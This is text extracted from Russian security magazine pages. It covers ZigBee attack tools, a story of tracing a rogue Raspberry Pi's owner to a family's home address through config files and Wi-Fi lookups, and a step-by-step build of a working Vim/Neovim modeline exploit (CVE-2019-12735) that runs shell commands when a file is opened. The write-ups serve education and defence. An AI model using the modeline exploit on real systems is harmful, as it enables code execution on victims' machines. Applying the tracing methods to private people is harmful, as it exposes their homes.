довелось потес тить, это му виду атак под верже ны не были.

Еще один век тор — это кон фликт PAN  ID. Суть этой ата ки в том, что зло‐ 
умыш ленник  раз ворачи вает  лож ный  коор динатор.  В  резуль тате  валид ный
коор динатор  сме няет  PAN  ID  на  какое‐то  дру гое  зна чение.  Но  устрой ства
по‐преж нему могут  быть  при вяза ны  к  ста рому  PAN  ID.  Получа ется,  что  зло‐ 
умыш ленни ку  уда ется  нарушить  целос тность  сети.  Это  может  при вес ти
к  тому,  что  дат чик  откры тия  или  дат чик  дви жения  (или,  не  дай  бог,  дат чик
дыма) не подаст вов ремя тре вогу. О такой ата ке был как раз недав но док лад
на Black Hat USA 2019 ( ).PDF

Так же  не  сто ит  забывать  про  раз ные  вари анты  атак  типа  DoS  или  флуд
в канале. Нап ример, весь канал может быть забит фрей мами ACK. В начале
статьи мы смот рели, как выг лядит ACK frame. Если пом нишь, в нем нет ни воз‐ 
можнос ти шиф рования (да и нечего там шиф ровать), ни даже MIC.

Еще, как вари ант, мож но под делать зна чение   — если узел
не про веря ет MIC, то ког да при дет валид ный пакет, его   будет
мень ше. Сог ласно стан дарту, такие пакеты сто ит отбра сывать.

frame counter
frame counter

СОФТ ДЛЯ РАБОТЫ С ZIGBEE
Да лее  неболь шим  спис ком  перечис лю,  какие  есть  инс тру мен ты  для 
изу чения ZigBee.

взло ма

•  — в опи сании говорит ся, что это фрей мворк и ути литы для атак
на  сети  ZigBee  и  IEEE  802.15.4  networks.  В  спис ке  под держи ваемо го
железа мно го  все го  уста рев шего  (нап ример,  Atmel  RZ RAVEN USB Stick,
который снят с про изводс тва). Заяв лено, что есть под дер жка Texas Instru‐
ments CC2531, но про шив ка име ет ста тус beta и работа ет толь ко на прос‐ 
лушива ние тра фика.

KillerBee

•  — счи тай,  то же  самое,  что  и KillerBee,  но  с  гра‐ 
фичес ким интерфей сом.
Attify ZigBee Framework

•  —  для  работы  тре бует  Scapy‐radio,  KillerВee  и  GNU Radio  block,
а  из железа  подавай  уже SDR — и,  как  пишет  раз работ чик,  луч ше  все го
USRP.

SecBee

•   —  для  пол ноцен ной  работы  тоже  тре бует  мно го  допол нитель ных
пакетов. Из железа под держи вает ся Ettus USRP или железо, сов мести мое
с KillerBee.

Z3sec

По луча ется,  что  раз нооб разие  толь ко  кажуще еся  —  и  обыч но  нуж но  либо
дорогу щее  железо  (SDR),  либо  старье  вро де  Atmel  RZ  RAVEN  USB  Stick.
Поэто му  я решил раз работать свою ути литу —  . Работа еще не  закон‐ 
чена, поэто му и внеш ний вид пока соот ветс тву ющий.

pwnrf

Моя основная задум ка — реали зовать воз можность собирать про изволь ные
пакеты  ZigBee/IEEE  802.15.4.  При чем  как  валид ные,  где  про веря ются  фор‐ 
маты,  содер жимое  полей,  так  и  про изволь ные  фрей мы,  что бы  мож но  было
искать  логичес кие ошиб ки. Ну и,  конеч но,  ути лита будет работать  в режиме
сниф фера.  Из  железа  пла ниру ется  под держи вать  CC2531,  CC1352  либо
любой дру гой тран сивер, с которым мож но свя зать ся через UART/Serial.

ЖЕЛЕЗО ДЛЯ РАБОТЫ С ZIGBEE
Па ру  слов  о  том,  с  какими желез ками  доводи лось  стал кивать ся  при  работе
с ZigBee.

Digi XBee ZigBee Mesh Kit
В осно ве этих модулей лежат тран сиверы ком пании Silabs. Сей час наибо лее
акту аль ный и све жий набор — это  .Digi XBee3 ZigBee 3

Для  работы  Digi  XBee  есть  что‐то  вро де  IDE  —  .  Раду ет,  что  она
работа ет как в Windows, так и в Linux.

XCTU

Увы,  по  моим  субъ ективным  ощу щени ям,  эта  шту ка  боль ше  рас счи тана
на пос тро ение сетей ZigBee и Digimesh. Для модулей есть про шив ки как Zig‐
Bee,  так  и  IEEE  802.15.4.  Но,  к  сожале нию,  осо бой  гиб кости  по  генера ции
про изволь ных пакетов дос тичь не уда лось.

Texas Instruments CC2531
Эта   вты кает ся в USB подоб но флеш ке. Ее китай ские кло‐ 
ны мож но най ти на Aliexpress по цене око ло $3–4.

от ладоч ная пла та TI

Сра зу «из короб ки» работа ет как сниф фер. Мож но вос поль зовать ся фир‐ 
менной ути литой TI под наз вани ем   или взять   — пос‐ 
ледняя поз волит проб расывать при нятые пакеты сра зу в Wireshark.

packet‐sniffer ccsniffpiper

Ес ли же ты захочешь писать свою про шив ку для это го дон гла, то готовь ся
вспо минать ста рую доб рую архи тек туру x51 (8051 Core, если быть точ ным). Ну
и  для  того  что бы  ты  смог  залить  свою  кру тую  про шив ку,  тебе  пот ребу ется
еще  .cc‐debugger

Мож но,  конеч но,  исполь зовать  более  све жий  CC2538,  который  осно ван
на ARM Cortex‐M3. У него боль ше памяти и ресур сов, но и цена в разы выше.

Texas Instruments CC1352
Как по мне,   — уже тяжелая артилле рия. Этот чип работа ет в двух час‐ 
тотных  диапа зонах  (2,4  ГГц  и  суб гигагер цевом)  и  под держи вает  при лич ное
количес тво бес про вод ных про токо лов.

CC1352

Что еще при ятно: на этом мик рокон трол лере мож но раз работать свой ради‐ 
опро токол  с  пре амбу лой,  sync  word  и  про чими  кас томны ми  харак терис‐ 
тиками.

Для  пол ноцен ной  работы  с  этим  кам нем  тебе  пот ребу ется 
 (осно вана на Eclipse) и соот ветс тву ющий SDK. Кста ти, 

поз волит  вруч ную  генери ровать  про изволь ный  пакет  ZigBee.  Но  пакет  этот
при дет ся самому пол ностью писать в hex‐кодах.

Code  Composer
Studio SmartRF Studio

Так же заг ляни на   TI,  где  ты най дешь при меры работы
с этим и дру гими мик рокон трол лерами.

обу чающий ресурс

WWW

Ре сур сы,  которые  помогут  тебе  рас ширить  кру‐ 
гозор:
До кумен тация по • ZigBee 101
ZigBee Security: Basics (часть  ,   и  )• 1 2 3

  —  рус ско языч ная  груп па  в  «Телег‐ 
раме»,  где  обсужда ют  воп росы,  свя зан ные
с ZigBee

•@ZigBeer

https://courses.csail.mit.edu/6.857/2017/project/17.pdf
https://www.slideshare.net/bishopfox/smarter-home-invasion-with-zigdiggity-165606623
https://github.com/riverloopsec/killerbee
https://github.com/attify/Attify-ZigBee-Framework
https://github.com/Cognosec/SecBee
https://github.com/IoTsec/Z3sec
https://github.com/Xarlan/pwnrf
https://www.digi.com/products/embedded-systems/rf-modules/2-4-ghz-modules/xbee3-ZigBee-3
https://www.digi.com/products/embedded-systems/digi-xbee-tools/xctu
http://www.ti.com/tool/CC2531EMK
http://www.ti.com/tool/PACKET-SNIFFER#1
https://github.com/andrewdodd/ccsniffpiper
http://www.ti.com/tool/CC-DEBUGGER
http://www.ti.com/product/CC1352R
http://www.ti.com/tool/CCSTUDIO
http://www.ti.com/tool/SMARTRFTM-STUDIO
http://dev.ti.com/tirex/explore/node?node=AErO6JTn4jgRBgt5VuJVhw__pTTHBmu__LATEST
https://mmbnetworks.atlassian.net/wiki/spaces/SKB/pages/108923338/ZigBee%2B101
https://research.kudelskisecurity.com/2017/11/01/ZigBee-security-basics-part-1/
https://research.kudelskisecurity.com/2017/11/08/ZigBee-security-basics-part-2/
https://research.kudelskisecurity.com/2017/11/21/ZigBee-security-basics-part-3/
https://t.me/zigbeer
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КАК Я НАШЕЛ НЕИЗВЕСТНУЮ
 В СЕРВЕРНОЙ

И УСТАНОВИЛ ВЛАДЕЛЬЦА
RASPBERRY PI

Кристиан Хашек
christian@haschek.at

ВЗЛОМ

Не дав но  мы  с  кол легами  слу чай но  наш ли  в  сер верной
неопоз нанный одноплат ник Raspberry Pi — про ана лизи рова‐ 
ли его (не без помощи сооб щес тва с Reddit) и даже сумели
вычис лить  вла дель ца  вре донос ной  «малины».  И  сей час  я
рас ска жу, как нам это уда лось.

INFO

Это  перевод  статьи  Крис тиана  Хашека, 
  в  его  бло ге.  Переве ла  Алё на

Геор гиева.  Все  иллюс тра ции  в  статье  при над‐ 
лежат авто ру.

впер вые
опуб ликован ной

На прош лой неделе мой кол лега прис лал мне вот такое сооб щение с фото.

Со обще ние от моего кол леги

Я поп росил его отклю чить «малину», помес тить в безопас ное мес то, отфо тог‐ 
рафиро вать все час ти одноплат ника и снять образ с SD‐кар ты (пос коль ку сам
я в основном работаю уда лен но). Я час то имел дело с Raspberry Pi и был уве‐ 
рен, что смо гу выяс нить, чем занима ется эта машин ка.

В тот момент ник то не думал, что «малина» ока жет ся вре донос ной, — ско‐ 
рее полага ли, что кто‐то из сот рудни ков фиг ней мает ся.

ЧАСТИ ОДНОПЛАТНИКА
На ша «малина» сос тояла из трех час тей:

Raspberry Pi (модель B) пер вого поколе ния;•
та инс твен ный элек трон ный ключ;•
кар та SD на 16 гигов (быс трая).•

Элек трон ный ключ и SD‐кар та

ПЕРВОЕ, ЧТО НУЖНО СДЕЛАТЬ: ОПРОСИТЬ ВСЕХ, КТО ИМЕЕТ
ДОСТУП К СЕРВЕРНОЙ
Чис ло людей, которые име ют дос туп к это му шка фу, очень невели ко — ключ
от сер верной есть толь ко у четырех человек:

ру ково дитель;•
зав хоз;•
мой кол лега;•
я.•

Ник то  из  нас  ничего  не  знал  о  «малине»,  так  что  я  спро сил  дру гих  кол лег
из IT — и оза дачил их не мень ше. Разуме ется, я слы шал, что некото рые люди
за день ги раз меща ют подоб ные шту ки там, где им не мес то, — поэто му мне
было очень инте рес но, чем же на самом деле занима ется эта кон крет ная.

ЧТО Ж ЭТО ЗА КЛЮЧ?
В поис ках раз гадки я   — и оно меня не под‐ 
вело. В клю че уве рен но опоз нали мик ропро цес сор   — поч ти
такой же мощ ный, как сам Raspberry Pi.

об ратил ся к сооб щес тву Reddit
nRF52832‐MDK

Это серь езное счи тыва ющее устрой ство для Bluetooth, Wi‐Fi и RFID.

Мик ропро цес сор nRF52832‐MDK в виде USB‐клю ча

Он,  безо  вся ких  сом нений,  дол жен  был  дать  ста рень кому  Raspberry  Pi  воз‐ 
можность  под клю чать ся  по  Wi‐Fi  и  Bluetooth.  Отлично,  подумал  я,  теперь
у этой шту кови ны еще и вай фай есть…

ПРЕПАРИРУЕМ ОБРАЗ SD-КАРТЫ
На  кар те  ока залось  нес коль ко  раз делов.  Фай ловой  сис темой  боль шинс тва
из них была ext4 (Linux), а у одно го (заг рузоч ного) раз дела — FAT16.

Об раз кар ты в GParted

От лично, самое вре мя их вскрыть.
Моя  деби анов ская  песоч ница  при нес ла  пер вую  серь езную  под сказ ку:  я

обна ружил уста нов ленный Resin.

«Резино вые» раз делы на SD‐кар те

Что за Resin?
 —  это  плат ный  веб‐сер вис,  где

мож но  генери ровать  обра зы  для  устрой ств  IOT,  раз верты вать  их,  получать
и переда вать обновле ния и дан ные.

Resin  (недав но  пере име нован ный  в Balena)

А  еще  Resin  уста нав лива ет  на  девайс  VPN —  так  что  мож но  безопас но
переда вать  соб ранные  дан ные.  Оче вид но,  устрой ство  пла ниро вали  заб‐ 
рать — ведь если исполь зовать плат ный сер вис, это оставля ет сле ды.

Приг лядим ся к раз делам
Пер вый раз дел называ ется  .resin‐boot

Ви дишь  что‐нибудь цеп ляющее  взгляд? Пра виль но —  .  Неуж то
мы сор вали джек пот?

config.json

Файл config.json из раз дела resin‐boot

Что мы можем вытащить из это го фай ла.
1. При ложе ние,  раз верну тое  на  нашем  «резино вом»  девай се,  называ ется

. Ничего хороше го.logger

2. У нас есть  . По всей видимос ти, это имя поль зовате ля от акка‐ 
унта Resin, свя зан ного с девай сом.

username

3. Под твержде ние того, что девайс исполь зует   через порт 443.VPN

4. Да та  регис тра ции.  Устрой ство  было  зарегис три рова но  (или  раз верну то?
или нас тро ено?) 13 мая 2018 года.

Нас чет име ни поль зовате ля…
Про гуг лив имя из фай ла  , я нашел челове ка в том же городе, где
была обна руже на «малина». Затем ком пания про вери ла свои записи о нем,
но ничего не наш ла.

config.json

Как ни стран но, по тому же зап росу я нагуг лил еще и сайт 2001 года, где
родите ли  «ода рен ных  детей»  пишут  статьи  о  сво их  чадах  и  почему‐то  под‐ 
писыва ют их домаш ним адре сом и номером телефо на. Так я получил име на
и адрес целой семьи.

Сайт об ода рен ных детях — не тот самый, но похожий

За цеп ка может ока зать ся лож ной, ведь одни и те же име на неред ко исполь‐ 
зуют совер шенно раз ные люди — так что пока прос то его запом ним.

resin-data
В дирек тории с дан ными, собс твен но, не хра нилось никаких дан ных (в смыс‐ 
ле,  соб ранных  дан ных),  зато  обна ружи лось  при ложе ние  на  Node.js,  силь но
сбив шее меня с тол ку — приз нать ся, я до сих пор не могу чет ко ска зать, чем
оно  занима лось.  Кажет ся,  «раз говари вало»  с  клю чом  через пос ледова тель‐ 
ное соеди нение, но я  так и не смог выяс нить,  что за дан ные оно собира ло.
Полагаю, отсле жива ло дви жение устрой ств Bluetooth и Wi‐Fi в зоне дей ствия
(вок руг кабине тов руководс тва, меж ду про чим) и, может быть, перех ватыва ло
необ работан ные пакеты Wi‐Fi.

За то я нашел кое‐что поин терес ней — файл  .LICENSE.md

Скрин шот фай ла License.md

Стран но… Зачем в такой при ложу хе на Node.js пре дуп режде ние о кон фиден‐ 
циаль нос ти? Я про гуг лил ком панию из копирай та — и зна ешь что?

ЧУВАК С ИМЕНЕМ ИЗ CONFIG-ФАЙЛА — СОВЛАДЕЛЕЦ КОМПАНИИ
По чему соос нователь ком пании рас кидыва ет эти девай сы по городу — выше
моего понима ния, но лад но…

По луча ем домаш ний адрес зло умыш ленни ков
Дру гую  инте рес ную  деталь  я  нашел  в  треть ем  раз деле  ( )
по  адре су  .
Файл называл ся   — и уга дай те, что в нем было.

resin‐state
/root‐overlay/etc/NetworkManager/system‐connections/
resin-wifi-01

А были в нем учет ные дан ные Wi‐Fi, через который нас тра ива ли (или тес тили)
устрой ство. И это опре делен но не Wi‐Fi нашей кон торы. А что мы дела ем, ког‐ 
да  хотим  най ти  локацию,  свя зан ную  с  име нем  кон крет ного  вай фая?  Идем
на  , вво дим SSID (то есть имя вай фая) — и получа ем коор динаты.wigle.net

Не то имя и не та локация — прос то для при мера

И  что  ты  дума ешь?  Это  адрес  тех  самых  родите лей  ода рен ного  ребен ка.
Имен но отсю да, сог ласно Wigle.net, нас тра ива ли наш девайс.

ПОСЛЕДСТВИЯ
Как и ког да «малина» вооб ще к нам попала?
Я  про верил  логи  DNS  и  выяс нил  точ ное  вре мя,  ког да  «малина»  впер вые
появи лась  в  сети.  Сле дом  я  про верил  логи  Radius,  что бы  пос мотреть,  кто
из  сот рудни ков  находил ся  тог да  в  помеще нии, — и  уви дел  кучу  сооб щений
о том, что к Wi‐Fi пыта ется под клю чить ся деак тивиро ван ный акка унт.

Де акти виро ван ный  акка унт  при над лежал  быв шему  сот рудни ку —  тот  (по
некото рым при чинам) догово рил ся с руководс твом, что бы ему оста вили клю‐ 
чи, пока он не заберет все свои пожит ки из офи са (не спра шивай…).

Что теперь?
Те перь  в  игру  всту пают  юрис ты  —  я  же  сде лал  свое  дело,  а  осталь ное
находит ся за пре дела ми моих ком петен ции и зар пла ты. Но для меня эта исто‐ 
рия ста ла инте рес ным чел лен джем — и я бла года рен поль зовате лям Reddit,
которые помог ли мне с кусоч ками паз ла.

mailto:christian@haschek.at
https://blog.haschek.at/2018/the-curious-case-of-the-RasPi-in-our-network.html
https://www.reddit.com/r/sysadmin/comments/9xveq5/rogue_raspberrypi_found_in_network_closet_need/
https://wiki.makerdiary.com/nrf52832-mdk/
https://www.balena.io/
https://wigle.net/
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В   И VIM NEOVIM
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ВЗЛОМ

Се год ня погово рим об уяз вимос ти в редак‐ 
торе  Vim  и  его  поб ратиме  Neovim.  Для  ее
экс плу ата ции не нуж но никаких при виле гий,
поль зовате лю  дос таточ но  открыть  спе‐ 
циаль но  сфор мирован ный  файл,  который
выпол нит  про изволь ный  код  на  целевой
сис теме.

Vim  —  это  бес конеч но  кас томизи руемая  сре да,  которая  под ходит
для решения огромно го переч ня задач. Кто‐то им прос то редак тиру ет фай лы,
а кто‐то модифи циру ет, пока не получит ся IDE для какого‐то из язы ков прог‐ 
рамми рова ния.  Бла года ря  такой  гиб кости  Vim  оста ется  одним  из  самых
популяр ных редак торов. Он пре дус танов лен на боль шей час ти сов ремен ных
дис три бути вов Linux, поэто му уяз вимость в нем потен циаль но инте рес на.

INFO

Уяз вимость  обна ружил  Армин  Раз мжоу  (Armin
Razmjou)  в  середи не  это го  года.  Ей  прис воен
номер  :  «уяз вимость  выпол нения
про изволь ного кода в Vim и Neovim». Под угро зой
ока зались вер сии Vim, которые не содер жат 

, и вер сии Neovim ниже 0.3.6.

CVE‐2019‐12735

пат‐ 
ча 8.1.1365

При чина бага в том, что фун кция   обра баты вает фай лы вне защищен‐ 
ного окру жения. Это поз воля ет зло умыш ленни ку выпол нить любые коман ды,
которые дос тупны в Vim.

source

СТЕНД
Для  начала  под нимем  стенд  с  уяз вимыми  вер сиями  Vim  и  Neovim.  Будем
исполь зовать кон тей нер Docker с Debian.

$ docker run ‐‐rm ‐‐hostname vimrce ‐‐name vimrce ‐‐cap‐add=SYS_PT
RACE ‐‐security‐opt seccomp=unconfined ‐it debian /bin/bash

Ус танав лива ем все необ ходимые зависи мос ти.

$ apt update && apt install ‐y nano build‐essential cmake wget unzip 
pkg‐config libtool libtool‐bin gettext git gdb libncurses5‐dev libncu
rsesw5‐dev strace ltrace

Та кая  пор тянка  нуж на,  потому  что  мы  будем  ком пилиро вать  дис три бути вы
редак торов из исходни ков. Ска чива ем уяз вимые вер сии: для Vim это все, что
ниже вер сии 8.1.1365, а для Neovim — не выше 0.3.5.

$ cd ~
$ git clone https://github.com/vim/vim.git ‐‐depth=1 ‐‐branch=v8.1.
1364
$ git clone https://github.com/neovim/neovim.git ‐‐depth=1 ‐‐branch=
v0.3.5

Ком пилим и уста нав лива ем Vim. Вклю чаем фла ги для добав ления отла доч ной
информа ции.

$ cd ~/vim
$ sed ‐i 's@#STRIP = /@STRIP = /@' src/Makefile
$ CFLAGS="‐g ‐DDEBUG" ./configure
$ make
$ make install

То же самое про делы ваем и для Neovim.

$ cd ~/neovim
$ make CMAKE_EXTRA_FLAGS="‐g"
$ make install

Те перь  нам  нуж но  соз дать  кон фигура цион ные фай лы,  в  которых  надо  акти‐ 
виро вать  modeline.  Для  Vim  это    в  домаш ней  дирек тории,  а  для
Neovim —  .

.vimrc
init.vim

$ echo "set modeline" > ~/.vimrc
$ mkdir ‐p ~/.config/nvim/
$ echo "set modeline" > ~/.config/nvim/init.vim

Стенд  готов.  Можешь  запус тить  редак торы  и  про верить  их  работос пособ‐ 
ность.

Го товый стенд с уяз вимыми вер сиями Vim и Neovim

INFO

Что бы вый ти из Vim без сох ранения резуль татов
редак тирова ния  фай ла,  нуж но  перей ти  в  нор‐ 
маль ный  режим  с  помощью    и  ввес ти  .
Ура, ты спа сен!

Esc :q!

Продолжение статьи →

https://twitter.com/iamsecurity
https://nvd.nist.gov/vuln/detail/CVE-2019-12735
https://github.com/vim/vim/commit/5357552


УБОЙНЫЙ ТЕКСТ
ВЫПОЛНЯЕМ ПРОИЗВОЛЬНЫЙ КОД

В VIM И NEOVIM

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ДЕТАЛИ УЯЗВИМОСТИ
Для начала давай раз берем ся, что такое  . В Vim сущес тву ет четыре
основных режима работы: обыч ный режим, режим встав ки, коман дный режим
и визу аль ный режим.

modeline

Отоб ражение режима работы редак тора Vim

Для перехо да в обыч ный режим нуж но нажать  , а с помощью   мож но вой‐ 
ти  в  коман дный.  В  нем  ты  можешь  выпол нять  коман ды,  встро енные  в  Vim
или  пре дос тавля емые  пла гина ми.  Это  могут  быть  самые  раз ные  дей ствия:
нас трой ка сре ды и рабочих фай лов, фун кции, свя зан ные с обра бот кой тек ста,
коман ды обо лоч ки и тому подоб ное.

Esc :

Не  про писы вать  коман ды  каж дый  раз  вруч ную  и  нас тро ить  сре ду  Vim
под свои нуж ды помога ет файл  . По ана логии с   он выпол няет‐ 
ся  каж дый  раз  при  запус ке  Vim.  Если  такой  файл  находит ся  в  кор невом
катало ге текуще го поль зовате ля, то он будет заг ружен авто мати чес ки.

.vimrc .bashrc

Это  все,  конеч но,  удоб но,  но  что,  если  нуж но  пере опре делить  какие‐то
нас трой ки  для  кон крет ного  типа  фай лов  или  вооб ще  в  пре делах  одно го
докумен та? Тут на помощь и при ходит  . Этот режим поз воля ет опре‐ 
делить  в  откры ваемом  фай ле  опции  его  редак тирова ния.  Нас трой ки  зада‐ 
ются  нап рямую  в фай ле,  по  дефол ту  интер пре тиру ется  пер вая  и  пос ледняя
стро ка. Если они соот ветс тву ют шаб лону, то Vim выпол няет их.

modeline

В  некото рых  сов ремен ных  дис три бути вах  Linux  этот  режим  вклю чен
по умол чанию. Если вер сия тво его редак тора в зоне рис ка, то набери коман‐ 
ду  . Уви дишь в ответ   — счи тай, что ты в безопас‐ 
ности и уяз вимость на тебя не рас простра няет ся.

:set modeline? nomodeline

Су щес тву ет два фор мата ука зания опций в modeline. Пер вый — корот кий.

[любой_текст]{пробел_или_таб}{vi:|vim:|ex:}[пробел_или_таб]{опции}

В  качес тве    ука зыва ется  спи сок  необ ходимых  нас тро ек,  раз делен ных
про белом  или  дво ето чием.  Каж дая  часть  перед  сим волом  дво ето чия  —
это  аргу мент  для  .  Нап ример,  час то  зада ют  кас томную ширину  стро ки,
раз мер табуля ции и замену табов на про белы.

опций

:set

vim:tw=80 ts=4 et

Вто рой фор мат — рас ширен ный.

[любой_текст]{пробел_или_таб}{vi:|vim:|ex:}[пробел_или_таб]se[t] {
опции}:[любой_текст]

В этом фор мате те же самые опции будут выг лядеть сле дующим обра зом:

/* vim: set textwidth=80 tabstop=4 expandtab: */

Ра зуме ется,  в  целях  безопас ности  в  modeline  мож но  исполь зовать  не  все
нас трой ки.

Не все опции дос тупны для изме нения через modeline

Нап ример,  поп робу ем  поменять  кодиров ку,  в  которой  работа ет  редак тор.
За это отве чает опция  .enc

/* vim: set enc=foo: */

Оп ция enc недос тупна для изме нения через modeline

/src/option.c
4544:       /* Disallow changing some options from modelines. */
4545:       if (opt_flags & OPT_MODELINE)
4546:       {
4547:       if (flags & (P_SECURE | P_NO_ML))
4548:       {
4549:           errmsg = _("E520: Not allowed in a modeline");
4550:           goto skip;
4551:       }

По мимо обыч ных опций, допус кает ся исполь зование выраже ний.

/* vim: set fdm=expr fde=getline(v\:lnum)=~'{'?'>1'\:'1': */

Все выраже ния выпол няют ся в режиме песоч ницы ( ).sandbox

Вы раже ния из modeline выпол няют ся в песоч нице

В ней допус кает ся при мене ние толь ко прос тей ших «безопас ных опе раций».
Об ратим ся к сор цам. Про веря ет, мож но ли запус тить выраже ние в песоч‐ 

нице, фун кция  .check_secure

/src/ex_cmds.c
4802:     int
4803: check_secure(void)
4804: {
4805:     if (secure)
4806:     {
4807:   secure = 2;
4808:   emsg(_(e_curdir));
4809:   return TRUE;
4810:     }
4811: #ifdef HAVE_SANDBOX
4812:     /*
4813:      * In the sandbox more things are not allowed, including 
the things
4814:      * disallowed in secure mode.
4815:      */
4816:     if (sandbox != 0)
4817:     {
4818:   emsg(_(e_sandbox));
4819:   return TRUE;
4820:     }
4821: #endif
4822:     return FALSE;
4823: }

Ес ли  про бежать ся  по  исходни кам,  то  мож но  заметить,  что  фун кция 
раз решена для  запус ка  через modeline и она работа ет не в песоч нице. Эта
фун кция  очень  ненадеж на  с  точ ки  зре ния  безопас ности,  так  как  выпол няет
коман ды Vim из ука зан ного фай ла.

source

Опи сание коман ды source

/src/ex_cmds2.c
3214: /*
3215:  * ":source {fname}"
3216:  */
3217:     void
3218: ex_source(exarg_T *eap)
3219: {
...
3236:   cmd_source(eap‐>arg, eap);
3237: }
...
3240: cmd_source(char_u *fname, exarg_T *eap)
3241: {
...
3245:     else if (eap != NULL && eap‐>forceit)
3246:   /* ":source!": read Normal mode commands
3247:    * Need to execute the commands directly.  This is required 
at least
3248:    * for:
3249:    * ‐ ":g" command busy
3250:    * ‐ after ":argdo", ":windo" or ":bufdo"
3251:    * ‐ another command follows
3252:    * ‐ inside a loop
3253:    */
3254:   openscript(fname, global_busy || listcmd_busy || eap‐>nextcmd
!= NULL

3255: #ifdef FEAT_EVAL
3256:                        || eap‐>cstack‐>cs_idx >= 0
3257: #endif
3258:                        );

Ког да пос ле   ука зан модифи катор  , коман ды из фай ла выпол няют ся,
как если бы мы их вво дили в нор маль ном режиме. За это поведе ние отве чает
флаг   ( ).

source !

forceit eap‐>forceit

Вы пол нение коман ды source! в Vim

Соз дадим файл с пей лоадом.

poc
:!uname ‐a

Что бы выз вать его через  , в пер вую оче редь нам нуж но най ти фун‐ 
кцию,  которая  при нима ет  выраже ния.  В  Vim,  как  и  в  боль шинс тве  IDE,  есть
воз можность  сво рачи вать  учас тки  кода  (folding).  Нап ример,  если  ты
не  хочешь  видеть  тело  фун кций  при  откры тии  фай ла,  то  уста нав лива ешь
метод    в  ,  и  все  стро ки,  которые  содер жат  отсту пы,  будут
свер нуты.

modeline

indent foldmethod

hello.c
1: /* vim: set foldmethod=indent: */
2: #include <iostream>
3: using namespace std;
4: int main()
5: {
6:     cout << "Hello, World!";
7:     return 0;
8: }

Сво рачи вание строк с отсту пами. foldmethod уста нов лен в indent

В Vim мож но  кас томизи ровать  любой  чих,  и  сво рачи вание — это  не  исклю‐ 
чение.  Ты  можешь  ука зать  свою  фун кцию  свер тывания,  которая  будет  при‐ 
водить  документ  к  жела емо му  виду.  Возь мем  на  воору жение  эти  фун кции
для того, что бы выз вать коман ду   и выпол нить наш пей лоад.source

Для  начала  нуж но  вклю чить  режим  свер тывания  (на  слу чай,  если  он  был
отклю чен в  ). Это мож но сде лать, исполь зуя коман ду  ..vimrce foldenable

/* vim: set foldenable: */

За тем в   ука зыва ем тип свер тывания. Нам нужен  .foldmethod expr

/* vim: set foldenable foldmethod=expr: */

Те перь в   нуж но задать выраже ние, которое будет выпол нено для сво‐ 
рачи вания  строк.  Здесь  вос поль зуем ся  фун кци ями,  которые  при нима ют
коман ды, —   и   отлично подой дут.

foldexpr

assert_beeps assert_fails

/* vim: set foldenable foldmethod=expr foldexpr=assert_beeps(): */

Не кото рые фун кции, при нима ющие в качес тве аргу мен тов коман ды Vim

/src/eval.c
9691: assert_beeps(typval_T *argvars)
9692: {
...
9700:     do_cmdline_cmd(cmd);
...
9732: assert_fails(typval_T *argvars)
9733: {
...
9741:     do_cmdline_cmd(cmd);

/src/eval.c
590: do_cmdline_cmd(char_u *cmd)
591: {
592:     return do_cmdline(cmd, NULL, NULL,
593:                   DOCMD_VERBOSE|DOCMD_NOWAIT|DOCMD_KEYTYPED);
594: }

В теле   уже мож но пар сить наш файл с пей лоадом при помощи
коман ды  .

assert_beeps
source

/* vim: set foldenable foldmethod=expr foldexpr=assert_beeps('source\
!\ poc'): */

Здесь  не  забыва ем  про  экра ниро вание  про белов,  так  как  это  раз делитель
команд,  и  осталь ных  спец симво лов. Оста лось  ука зать  уро вень  свер тывания
по умол чанию и текст, который отоб ража ется, ког да код свер нут. Это мож но
сде лать при помощи опций   и   соот ветс твен но.foldlevel foldtext

/* vim: set foldenable foldmethod=expr foldexpr=assert_beeps('source\
!\ poc') foldlevel=0 foldtext=: */

Те перь добавим получив шуюся стро ку в файл и откро ем его в Vim. Я сде лал
это через отладчик и пос тавил бряк на фун кцию  .cmd_source

Вы зов коман ды source через modeline в отладчи ке

В  резуль тате  GDB  показы вает  нам,  что  пос ле  откры тия  фай ла  вызыва ется
файл    и  пей лоад  отра баты вает:  на  экра не  видим  резуль тат  выпол нения

.
poc

uname ‐a

Ре зуль тат выпол нения пей лоада при откры тии фай ла в Vim

Тот же резуль тат получим при исполь зовании вто рой  (сок ращен ной) фор мы
вызова modeline.

// vi:fen:fdm=expr:fde=assert_beeps('source\!\ poc'):fdl=0:fdt=

На этом эта пе для  успешной  экс плу ата ции  нуж но два фай ла — один  с  пей‐ 
лоадом,  а  вто рой  для  его  вызова,  что,  сам  понима ешь,  не  очень  удоб но.
Испра вить дело нам поможет     — он ука зыва ет на текущий файл.ре гистр %

:reg %

Со дер жимое регис тра % в Vim

То  есть  коман да    откро ет  этот  же  файл  и  выпол нит  коман ды,
которые в нем ука заны.

:source!  %

Ис поль зование регис тра % в коман де source

Та ким обра зом, наш экс пло ит при мет сле дующий вид:

// vi:fen:fdm=expr:fde=assert_beeps('source\!\ \%'):fdl=0:fdt=

Те перь надо записать в этот же файл коман ды, которые нуж но выпол нить, то
есть сде лать пей лоад плюс экс пло ит — два в одном. В самом начале фай ла
ука зыва ем, что хотим выпол нить:

:!uname ‐a

Все, что идет пос ле коман ды, тоже будет выпол нено, поэто му с помощью 
ука жем любую коман ду, которая не будет отсве чивать, нап ример  .

||
true

:!uname ‐a||true

Даль ше нуж но вста вить  . Что бы не сло мать коман дную стро ку, возь‐ 
мем ее в кавыч ки.

modeline

:!uname ‐a||true " vi:fen:fdm=expr:fde=assert_beeps('source\!\ \%'):
fdl=0:fdt= "

Мож но и прос то исполь зовать одни лишь кавыч ки, без  ,  толь ко в  таком
слу чае нуж но быть уве рен ным, что пер вая коман да отра бота ет успешно, ина‐ 
че  в  коман дную  стро ку  уле тит  содер жимое  ско бок  и  ты  получишь  мусор —
ответ от шел ла «Коман да не най дена».

true

Му сор в коман дной стро ке пос ле некор рек тно отра ботав шей коман ды

В резуль тате и shell‐коман да получи лась вер ная, и modeline кор рек тный.

poc
1: :!uname ‐a||true " vi:fen:fdm=expr:fde=assert_beeps('source\!\ \
%'):fdl=0:fdt= "

От кры ваем получен ный файл в Vim, и коман да выпол няет ся.

Ус пешная экс плу ата ция выпол нения команд в Vim через modeline

Вмес то   так же мож но исполь зовать ее сок ращен ную вер сию  .source so

poc
1: :!uname ‐a||true " vi:fen:fdm=expr:fde=assert_beeps('so\!\ \%'):
fdl=0:fdt= "

Ко неч но  же,  пос ле  того  как  коман да  отра бота ет,  выпол нение  вер нется
